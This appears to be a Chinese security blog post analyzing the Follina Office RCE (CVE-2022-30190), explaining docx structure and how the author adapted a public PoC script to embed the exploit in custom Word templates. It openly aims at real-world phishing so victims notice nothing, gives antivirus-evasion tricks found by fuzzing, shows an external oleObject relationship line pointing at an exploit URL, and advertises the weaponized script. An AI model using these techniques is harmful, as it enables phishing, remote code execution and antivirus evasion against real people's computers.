查看原文
其他

CVE-2022-30190 Follina Office RCE分析【附自定义word模板POC】

komomon Z2O安全攻防 2023-01-06


免责声明



本文仅用于技术讨论与学习,利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,文章作者不为此承担任何责任。

只供对已授权的目标使用测试,对未授权目标的测试作者不承担责任,均由使用本人自行承担。


文章正文




前两天看了下'Follina' MS-MSDT n-day Microsoft Office RCE 这个漏洞,修改了下chvancooten的脚本,实现可以自定义word模板,便于实战中钓鱼使用,自己编辑好钓鱼word文档后-f参数指定即可。


1、复现

使用https://github.com/chvancooten/follina.py的项目生成恶意word文件,可以实现命令执行,不过腾讯电脑管家、火绒会查杀。


2、分析poc

主要就是两处,一处是改word的word/_rels目录下新添加一个document.xml.rels文件,里面是一个windows.location.href加载远程连接

远程html中放着ms-msdt:/协议写的HTML

最后将文件压缩打包成docx。


3、Fuzz

第一种

分析后可知只是在word的word/_rels修改了document.xml.rels文件

应对实战空文件不行,随便新建一个文件然后添加一些内容,然后解压后将document.xml.rels放入,再压缩回去,发现不会触发。


第二种

生成的clickme.docx 不修改的情况下,可以多次触发,但只要修改就不能触发了

 


第三种

修改document.xml.rels 文件名不行,依然查杀


第四种fuzz内容

查杀的是请求外链,http字样就会查杀

mhtml:http://localhost:80/exploit.html!x-usc:http://localhost:80/exploit.html换成http://localhost:80/exploit.html!

就可以了

但是实战中要用到自己的word模板,要不然受害者一点开就会觉察到不正常,所以为了贴近实战,修改了脚本,可以自定义word模板。


4、再分析

4.1、word结构和poc分析


word文件结构:

.├── [Content_Types].xml // 描述的是整个文档的内容。把各个XML文件组合成一个整体├── _rels // 定义Package(Zip包)和它所直接包含的Part之间的关系。对于一个 Part 来说,如果它依赖其他 Part,那么需要为这个 Part 创建一个目录,并且也有一个 _rels 目录,目录下面会有一个 partname.rels 文件。比如 /word/document.xml 就是很典型的例子├── docProps // 记录docx文档的主要属性信息│ ├── app.xml // 描述文档的文档类型、版本、只读信息、共享、安全属性等信息│ └── core.xml // 描述文档的创建时间、标题、主题和作者等基于Open XML约定文档格式的通用文件属性信息└── word ├── _rels │ └── document.xml.rels ├── charts │ ├── _rels │ │ ├── chart1.xml.rels \\ 映射表存放文件文本框文件的位置 │ ├── chart1.xml │ ├── colors1.xml │ ├── colors2.xml │ ├── style1.xml │ ├── style2.xml ├── document.xml // 文档中所有可见文字的内容和属性及不可见部分的内容和属性 ├── embeddings │ ├── Microsoft_Excel_Worksheet.xlsx │ ├── Microsoft_Excel_Worksheet1.xlsx │ ├── oleObject1.bin // OLE是Object Linking and Embedding的缩写,直译为对象连接与嵌入;满足用户在一个文档中加入不同格式数据的需要(如文本、图像、声音等),即解决建立复合文档问题。 │ ├── oleObject2.bin │ ├── oleObject3.bin │ ├── oleObject4.bin ├── endnotes.xml ├── fontTable.xml // 文档所使用的字体信息 ├── footer1.xml ├── footer2.xml ├── footnotes.xml // 文档中脚注部分信息 ├── header1.xml ├── header2.xml ├── media // Word中的多媒体文件,如插入的图片、公式对应的wmf文件等 │ ├── image1.emf │ ├── image2.png │ ├── image3.jpeg │ ├── image4.wmf │ ├── image5.emf ├── numbering.xml // Word中的有序列表、无序列表等的信息,定义了列表的样式、序号等信息 ├── settings.xml // 文档的总体设置信息 ├── styles.xml // Word的样式信息,定义样式的展示优先级以及段落、表格等样式 ├── theme // 文档的主题的所有信息,如颜色、字体大小 │ ├── theme1.xml │ ├── themeOverride1.xml │ └── themeOverride2.xml    └── webSettings.xml        // 文档左右间距等的样式信息

分析word的目录结构,了解到Word/document.xml 是文件的内

[Content_Types].xml存储的是part名称和类型

每一个part是一个xml,part如果引用外部文件就需要在当前目录下创建一个_rels文件夹,下面存放外部引用的rels文件,poc中就是用了document.xml的外部引用。

Poc脚本的模板使用的rid是1337,控制修改在documen.xml中,如下修改改成了1111

然后 document.xml.rels 对应修改成了之后就可以使用了

4.2、关于文件内容

通过了解word的结构后,如果想要文件内容是自定义的,即自创建模板,可以修改document.xml即可

填上如下部分即可

 

然后对应的xxx.xml.rels文件中添加外部引用的一行,注意rid对应即可。

<Relationship Id="rId1111" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/oleObject" Target="http://localhost:80/exploit!" TargetMode="External"/>

如下自定义模板,并触发漏洞


4.3、静态免杀

上线测试

最后编写了自定义word模板的脚本:


公众号后台回复“CVE-2022-30190”,即可获取下载链接。


技术交流





交流群



关注公众号回复“加群”,添加Z2OBot 小K自动拉你加入Z2O安全攻防交流群分享更多好东西。




知识星球



星球不定时更新最新漏洞复现,手把手教你,同时不定时更新POC、内外网渗透测试骚操作。涉及方向包括Web渗透、免杀绕过、内网攻防、代码审计、应急响应、云安全等



往期文章:




Postgresql 渗透总结
一篇文章让你拿下用友nc
一篇文章带你学会容器逃逸
PHP代码审计系列(一) 基础:方法、思路、流程
spring cloud function spel表达式注入RCE复现
利用burp精准定位攻击者
从此 Typora 代码块有了颜色
不会写免杀也能轻松过defender上线CS


点一下爱心再走吧!

您可能也对以下帖子感兴趣

文章有问题?点此查看未经处理的缓存